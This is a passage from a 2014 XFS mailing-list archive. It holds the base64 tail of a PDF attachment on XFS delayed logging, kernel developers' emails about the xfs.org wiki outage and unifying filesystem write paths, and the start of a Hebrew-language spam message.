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 W+1AxNhEIFue7aoMhwIwjUsMBTCN77VLGsC5RDuxKCWP0F1ItBMV8sFQ3H5PZSiUeAHs++jr 2K4T7XDZm0Q7Md8m2snlfugm2g8DoajdrJDKUCiGXAt5Yii4FkSiHa6FfuiWBha5SXXk+/Qn gKke0hFmIJ7oXk9pKCAISLJqU+Mp6nGpHk09PtVjqCekemjRkHmqJy4bYiCuysue1nBgFFee iovCylNhUVR5KioKKk8FRTGJVEwUkhgOqRfRQwHRKipSXKINg+ivYi6STCY7iGRKpnpIRyV1 CFClB2Py+32loaBcRTJlUuNROpRN9VA+lEv1UEKUT/VQRlRI9RCuemjFq7zsaT0QGGVFi8SA hKPUqQ7Kik5lRVJWdCorBJ9MwUfoSTscVdjvKQ0HRcDLFPBxcqdwj3M7BTuhrvJEB+Gm+rj5 yGY3nCez39OJAf0PMPvrwgplbmRzdHJlYW0KZW5kb2JqCjM1MSAwIG9iaiA8PAovQXV0aG9y KERhdmUgQ2hpbm5lcikvVGl0bGUoWEZTIERlbGF5ZWQgTG9nZ2luZyBEZXNpZ24pL1N1Ympl Y3QoKS9DcmVhdG9yKERCTGFUZVgtMC4zLjQtMykvUHJvZHVjZXIocGRmVGVYLTEuNDAuMTQp L0tleXdvcmRzKCkKL0NyZWF0aW9uRGF0ZSAoRDoyMDE0MDIwNDE3MTQxNysxMScwMCcpCi9N b2REYXRlIChEOjIwMTQwMjA0MTcxNDE3KzExJzAwJykKL1RyYXBwZWQgL0ZhbHNlCi9QVEVY LkZ1bGxiYW5uZXIgKFRoaXMgaXMgcGRmVGVYLCBWZXJzaW9uIDMuMTQxNTkyNi0yLjUtMS40 MC4xNCAoVGVYIExpdmUgMjAxMy9EZWJpYW4pIGtwYXRoc2VhIHZlcnNpb24gNi4xLjEpCj4+ IGVuZG9iagozMjQgMCBvYmogPDwKL1R5cGUgL09ialN0bQovTiAyNwovRmlyc3QgMjM2Ci9M ZW5ndGggMTEwMCAgICAgIAovRmlsdGVyIC9GbGF0ZURlY29kZQo+PgpzdHJlYW0KeNqVV02P 2zgMvedX6Lg5NLFIyrKAQYBi57bddtFuT8UcMq1RBJgvTDKH/ffLJ8tFYnE06CGwzSeKH08k FSZ2nWMKjnzUZ++EWZ/R9QHywQ19r8/kfDeogDvnKXl98c6HbtAXcj6S6As7n8SvmEU3C7ob 664cAfWOQoJ6dDR0pC+Do9RDkhz7Tk0KzEXdWfCDlui6gH1E4T4MKxaVxj6oRH9DhJY6l4as 4SR7KIMTH7AmOaGguAYiFOPq6mq1/bi/H4/u2x93x9PDy/3t+Lx5N2x8t9YYkibis1sgXhHd 1UAIiLcQBkIWIkDYQgIQAXKz2n443B9OppeV1s1qt2sE1mPbYBmMQHoLGYBEC0lABgNBLqKV C0Jmh9SOq1/XWu24CLQkixaCK8l0BbQkixYCLcmihUBLEgtBZlNoBgYvK603AgMtyaKFQEuy aCHQkixaEHG0ImbQkqwDz+ozdV07rriutdpxMWFbixZmIKaTAsSihQMQixYwGS0VEBnb9QUf l0rtqHAGolVdYDFaLILEaJEIDmPNYdqAD99ZQAekXVqLyspKrZBSbnhEpj1QSN5CQCGRhYBC YgsBhSQW0gNpVdbkZaX1RmAR2/aWwQFItJAExGIFufBWLtDwiJKFILPcteOK61qrHRcaHrHp CmhhixY0PGKLFjQ8YosWNDziYCHILPfNwIjWtdYbgYEWtmhBwyO2aEHE3ooYDY/YoiU3PLEO fO5Z4ttxDetaqx1XbnhiOglaxKIlNzyxaGHQIhYtDFrEOvCMzEpsBgYvK603AgMtYtGCuLwV l4AWsWgR0BIsWgS0BOvACzIbqB1XWtda7bgE7gfTfdASLFoAeAsAXd6iC2x5iy2Q5dtkwcOl UjsmUOULVU/7nyPGjMTzbzDTna/QtPd09q3Jnmdf/lYfUrsJIPVlaeVdlmNIzwM/CzBg5dwJ DNY54VmAgRrSmQCDtD+P5KB+Lt2arc0rbHcOB+x1vhUkc689jt9Ph8cHZG5upbNIUzX30Fmk 2Zqb5/Hl9pc0a/eme7C1XFv5eYHDbDRswPZgyJWxuSVeyDUxc0O8kCsb4g25kiJV1S09W6q0 Q1Fap0b46pbDcsuzI//X4Yeu53J8uZuC5HKN4jK4uUwK9pWl68fv776c9s+ny7rym74yUqqc S1FzOTA8law+ixPNm5rfLAZ/xHVraapcy7hcwrhcubhcsJiKC9Qqw5iva6//LZltFffL7YfL lYa5+FCqgJl+66/C5dwvtkr5cKkZLoXCXFJZDjVPh7g9i5cFPZso7pdzzfVYf6Xm6lNVRjeX Qc1lLHMZwlxGLtcD9vxUvWbkejzqWp6a3iz897+n0W3/3J/2d48/V9t/1FVd02VDq+2nl9Pd 4SFL4iSZSoqnwTqt//vxx7j9ehznxVn4YX873h2vrrYfX+6P3zp9+bJ93u04v1zvdjdqf/vp aXx4nz11fnbqf50M3w8KZW5kc3RyZWFtCmVuZG9iagozNTIgMCBvYmogPDwKL1R5cGUgL1hS ZWYKL0luZGV4IFswIDM1M10KL1NpemUgMzUzCi9XIFsxIDMgMV0KL1Jvb3QgMzUwIDAgUgov SW5mbyAzNTEgMCBSCi9JRCBbPDk4RDUwMUUyMUFEMTVBNzdDMTQyQUVENzc3ODg3NDY3PiA8 OThENTAxRTIxQUQxNUE3N0MxNDJBRUQ3Nzc4ODc0Njc+XQovTGVuZ3RoIDc0NCAgICAgICAK L0ZpbHRlciAvRmxhdGVEZWNvZGUKPj4Kc3RyZWFtCnjaJdS5VxZXGMDhez9AcEVEEBGjIC6o uOGuuMSroAIqriji1ttaJb1NzluYIicpkjr/RrqUqVLlT0hpaXzeNM+535k5c2e+3ztTSilf OqV0Si3zfxSrWktdzlV3LaU/Vx3HG771s8vqOm762YueWjqf8uR1WI8N2IhN2Iwt6MdWDGAb BjGEvlq6/8xLbbfHDasRHMAxnMBt3P1K7MBOfIN9OOKoVWe4lt7/n8h5Hed1RrHL5a9ZjWE3 XKCzB3sxjgmcwmQtQyt5qf04iEOYwmHkvkcxjeM4iVuYqWXir7zAaZzBWZzDeVzARVzCZczi Cq4i7/k6skf+Qw3ZYxFztUz/kxvN4w4WPK/biO1+LtUy+32ecg/38QDLeIhHeIwneIpnWMFz vMAqXmINr/Aab/AW7+xrt6jooAvd6IHJCdMUfTBDYYbCDIUZCjMUZijMUJihMENhhmKwlk/z uccuDNWy9Dl/DsMMhfAhbYzVslbyqPCheWgZ47W8/z0PCB+TkDvMX2ge/qaYquW7gTxP+NA8 NA8jGsKHOQ31w/jEDIQP4UP4ED6ED+FD+BA+hA/hQ/gQPoQP4UP4ED6ED+Ej085B8/B+hPCR L8kCzEYsQfO4byLynVmu5eOHfBjhQ/gQPoQP4UP4ED6ED+FD+BA+hA/hQ/gQPoSPd/bIL0xF fkvyC9KNHqxDL/qwHhuwEZuwGVvQj60YwDYMIr8WQxjGDoxgJ0aRb/wYdmOu1h8W8tb24BH2 YhwPMYF9WMYk9uMBDuAg8p88hCncw2EcwRKOYhqLOIbjyPfyBE7iLk5hBndwGldxBmdxDudx oZaffsznuFjL3//m6lKtXX25ulzryMdczdZ6YzFXV/KLj9t4jCd4imdYwXO8wCpeYg2v8Bpv 8BZKt1LrL7/ao8nd5G5yN7mb3E3uJneTu8nd5G5yN7mb3E3uJneTu8nd5G5yN7mb3E3uJneT u8ndRmv9+drXe/lttfwHiSiTXgplbmRzdHJlYW0KZW5kb2JqCnN0YXJ0eHJlZgoxMDY4NDQK JSVFT0YK --UugvWAfsgieZRqgk-- From david@fromorbit.com Tue Feb 4 02:15:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9ADD07F53 for ; Tue, 4 Feb 2014 02:15:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6EC3830407A for ; Tue, 4 Feb 2014 00:15:55 -0800 (PST) X-ASG-Debug-ID: 1391501752-04bdf01220ecb70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id cL6HgehOwL9MKEyW for ; Tue, 04 Feb 2014 00:15:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvUVAKCg8FJ5LGaB/2dsb2JhbAA/GoMMOIMGijibTwOQDYVSgQUXdIJmHCMYJDQFJQM0iAQONs4cFoxjCoFyHYMOgRQEmCmSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 04 Feb 2014 18:45:52 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAbAY-0001A8-B9; Tue, 04 Feb 2014 19:15:46 +1100 Date: Tue, 4 Feb 2014 19:15:46 +1100 From: Dave Chinner To: cattelan@thebarn.com Cc: xfs@oss.sgi.com Subject: xfs.org wiki is down Message-ID: <20140204081546.GB13997@dastard> X-ASG-Orig-Subj: xfs.org wiki is down MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391501752 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144818 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 BSF_SC0_SA085 Custom Rule SA085 Hi Russell, I just went to look at the xfs.org wiki and all I get from xfs.org "not found" errors. e.g http://xfs.org/index.php/Main_Page gives: Not Found The requested URL /index.php/Main_Page was not found on this server. So it looks like something has been broken in the past couple of hours. Any idea what has happened? Cheers, Dave. -- Dave Chinner david@fromorbit.com From viro@ftp.linux.org.uk Tue Feb 4 06:44:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4000A7F4E for ; Tue, 4 Feb 2014 06:44:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2347A8F8065 for ; Tue, 4 Feb 2014 04:44:26 -0800 (PST) X-ASG-Debug-ID: 1391517864-04cb6c6de0e69b0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id uikX07DqWYogwfjB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 04:44:25 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WAfMH-0005mu-R1; Tue, 04 Feb 2014 12:44:09 +0000 Date: Tue, 4 Feb 2014 12:44:09 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Zach Brown , Kent Overstreet , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204124409.GG10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EFC271.3090205@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391517865 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144823 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Mon, Feb 03, 2014 at 10:23:13AM -0600, Dave Kleikamp wrote: > Thanks for the feedback. I'd been asking for feedback on this patchset > for some time now, and have not received very much. > > This is all based on some years-old work by Zach Brown that he probably > wishes would have disappeared by now. I pretty much left what I could > alone since 1) it was working, and 2) I didn't hear any objections > (until now). > > It's clear now that the patchset isn't close to mergable, so treat it > like a proof-of-concept and we can come up with a better container and > read/write interface. I won't respond individually to your comments, but > will take them all into consideration going forward. FWIW, I suspect that the right way to deal with dio side of things would be a primitive along the lines of "get first N for the iov_iter". With get_user_pages_fast() for iovec-backed ones and "just grab references" for array-of-page-subranges ones. _IF_ direct-io.c can be massaged to use that (and it looks like it should be able to - AFAICS, we don't really care if pages are mapped in userland or kernel space there), we get something really neat out of that: not only can we get rid of generic_file_splice_write(), but we get full zero-copy sendfile() - just have the target opened with O_DIRECT and everything will work; ->splice_read() will trigger reads to source pagecache and with that massage done, ->splice_write() will issue writes directly from those pages, with no memory-to-memory copying in sight... We can also get rid of that kmap() in __swap_writepage(), while we are at it. I'm going through direct-io.c guts right now and so far that looks feasible, but I'd really appreciate comments from the folks more familiar with the damn thing. The queue so far is in vfs.git#iov_iter; I've gone after the low-hanging fruits in the review I've posted upthread and I more or less like the results so far... Comments? From kmo@daterainc.com Tue Feb 4 06:50:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 12AFD7F4E for ; Tue, 4 Feb 2014 06:50:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA1F48F8054 for ; Tue, 4 Feb 2014 04:50:43 -0800 (PST) X-ASG-Debug-ID: 1391518240-04bdf0121ff4190001-NocioJ Received: from mail-ea0-f175.google.com (mail-ea0-f175.google.com [209.85.215.175]) by cuda.sgi.com with ESMTP id 0wqUIfGfsIHPO75l (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 04 Feb 2014 04:50:41 -0800 (PST) X-Barracuda-Envelope-From: kmo@daterainc.com X-Barracuda-Apparent-Source-IP: 209.85.215.175 Received: by mail-ea0-f175.google.com with SMTP id z10so4376587ead.34 for ; Tue, 04 Feb 2014 04:50:40 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=2VJg7W+PZ7AYeWLn/vghp3/p1aA5bkoQSiMyswb4saE=; b=JUeJzV0/bpILxQ+hQTZOSiS5teeJxffr1jL15uGBnT59rn2PkUvg9rRV9nP7+WM5Kl 5rJYW6g2YiqUAFUyoLdhmPSvhsk0H/Jm3YII7pUoFj8bhZIZ3gI9oNN7/CidTK3MQxiM F8GIh2/NVSgvS/ztyjQatH490+cpuFTXFF5f2rZkZ8Ie1w/RWSRLlHpVOLMS3c8pj5eE MnVo8Y0cKWHscsIV3PN1/ZY1BGcxNU18Ri0I3hkCh4XCQyO+cMonJq6qpbY2ScSnvLHF TyEaYHlU5FwIa0pc9VKzu3tkF6ltOTF1ZsoqZBfsWxrl/sVsrdjwqf8V9x7gRIAkH7m2 KPrA== X-Gm-Message-State: ALoCoQn06xtke12zSgIGwGUI4DSR261//Mn4IrxGLP2iilxQarlUPU3bi8LchPmVUZbu7hLViGW+ X-Received: by 10.14.194.2 with SMTP id l2mr12073829een.39.1391518239988; Tue, 04 Feb 2014 04:50:39 -0800 (PST) Received: from kmo-pixel (adsl-84-227-243-20.adslplus.ch. [84.227.243.20]) by mx.google.com with ESMTPSA id 8sm82865208eef.1.2014.02.04.04.50.37 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Tue, 04 Feb 2014 04:50:39 -0800 (PST) Date: Tue, 4 Feb 2014 04:52:20 -0800 From: Kent Overstreet To: Al Viro Cc: Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Zach Brown , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204125220.GB12440@kmo-pixel> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204124409.GG10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-ea0-f175.google.com[209.85.215.175] X-Barracuda-Start-Time: 1391518241 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144824 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 12:44:09PM +0000, Al Viro wrote: > On Mon, Feb 03, 2014 at 10:23:13AM -0600, Dave Kleikamp wrote: > > > Thanks for the feedback. I'd been asking for feedback on this patchset > > for some time now, and have not received very much. > > > > This is all based on some years-old work by Zach Brown that he probably > > wishes would have disappeared by now. I pretty much left what I could > > alone since 1) it was working, and 2) I didn't hear any objections > > (until now). > > > > It's clear now that the patchset isn't close to mergable, so treat it > > like a proof-of-concept and we can come up with a better container and > > read/write interface. I won't respond individually to your comments, but > > will take them all into consideration going forward. > > FWIW, I suspect that the right way to deal with dio side of things would > be a primitive along the lines of "get first N for the > iov_iter". With get_user_pages_fast() for iovec-backed ones and "just > grab references" for array-of-page-subranges ones. I'm on vacation in Switzerland, didn't bring my adderall, and direct-io.c makes my head hurt at the best of times, but - have a look at my in-progress dio rewrite: http://evilpiepirate.org/git/linux-bcache.git/commit/?h=block_stuff&id=ca09c20f08efd640f255fabd778de0dbf43ed1da Where I'm headed with things is to just start out by allocating bios and pinning pages into them, and _then_ doing all the fun "ask the filesystem where it goes and what to do with it" dance. The goal is to push the bios as far up the stack as possible. From zahi280@zack-miller.com Tue Feb 4 08:52:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_REMOTE_IMAGE, WEIRD_QUOTING autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C62857F4E for ; Tue, 4 Feb 2014 08:52:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 386DAAC003 for ; Tue, 4 Feb 2014 06:51:56 -0800 (PST) X-ASG-Debug-ID: 1391525514-04cbb00c2be8460001-w1Z2WR Received: from hdmail00.spd.co.il (hdmail01.spd.co.il [62.128.51.162]) by cuda.sgi.com with ESMTP id rzWPX3Bf5hpyIrE0 for ; Tue, 04 Feb 2014 06:51:54 -0800 (PST) X-Barracuda-Envelope-From: zahi280@ZACK-MILLER.COM X-Barracuda-Apparent-Source-IP: 62.128.51.162 List-Unsubscribe: MIME-Version: 1.0 From: =?utf-8?B?15TXptei15XXqiDXntei16DXmdeZ16DXldeqINeR16jXqdeq?= Sender: zahi280@ZACK-MILLER.COM To: linux-xfs@oss.sgi.com Reply-To: =?utf-8?B?15TXptei15XXqiDXntei16DXmdeZ16DXldeqINeR16jXqdeq?= Date: 4 Feb 2014 16:51:50 +0200 Subject: =?utf-8?B?16LXmdeq15XXnyDXodeV16TXlNep15HXldeiIC0g157Xkdem16Ig15TXpteY16jXpNeV16og15DXmNeo16fXmNeZ15HXmSEg16TXqNeh15XXnteq?= Content-Type: multipart/alternative; boundary=--boundary_1952293_cc6faad4-ca44-49a5-aec3-30af1449771b X-ASG-Orig-Subj: =?utf-8?B?16LXmdeq15XXnyDXodeV16TXlNep15HXldeiIC0g157Xkdem16Ig15TXpteY16jXpNeV16og15DXmNeo16fXmNeZ15HXmSEg16TXqNeh15XXnteq?= X-Barracuda-Connect: hdmail01.spd.co.il[62.128.51.162] X-Barracuda-Start-Time: 1391525514 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.44 X-Barracuda-Spam-Status: No, SCORE=1.44 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA148a, HTML_MESSAGE, K2_WEIRD_QUOTING, MISSING_MID, WEIRD_QUOTING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 WEIRD_QUOTING BODY: Weird repeated double-quotation marks 0.10 BSF_SC0_SA148a URI: Custom Rule SA148a 0.00 HTML_MESSAGE BODY: HTML included in message 1.20 K2_WEIRD_QUOTING wierd quoting Message-Id: <20140204145156.5F69B106C6A6@cuda.sgi.com> ----boundary_1952293_cc6faad4-ca44-49a5-aec3-30af1449771b Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 15DXnSDXkNeZ16DXmiDXqNeV15DXlCDXnteZ15nXnCDXlteUINeQ16DXkCDXnNeX16Uv15kg INeb15DXnyDXoteZ16rXldefINeh15XXpNeU16nXkdeV16IgLSDXnteR16bXoiDXlNem15jX qNek15XXqiDXkNeY16jXp9eY15nXkdeZISAuINeX15MsINee15nXldeX15MsINee16jXqten IC0gIteh15XXpNeU16nXkdeV16IiINeU15XXkCDXoteZ16rXldefINeQ15nXm9eV16rXmSDX kdec16rXmSDXqtec15XXmSwg15TXnten15HXpSDXkNeqINee15nXmNeRINeU15vXldeq15HX mdedINee158g15TXqdeV16jXlCDXlNeo15DXqdeV16DXlCDXkdeQ16jXpTog15HXnyDXm9eh 16TXmdeqLCDXmdeU15XXk9eUINep16jXldeg15ksINeQ15HXmSDXkdeg15nXlNeVLCDXnNeZ 15DXldeo15QsINeg15nXqCDXp9eZ16TXoNeZ16Eg15XXoteV15Mg16jXkdeZ150g15XXmNeV 15HXmdedISAuINeV16LXm9ep15nXlSAtINeX15XXk9epINee16rXoNeUINec157XpteY16jX 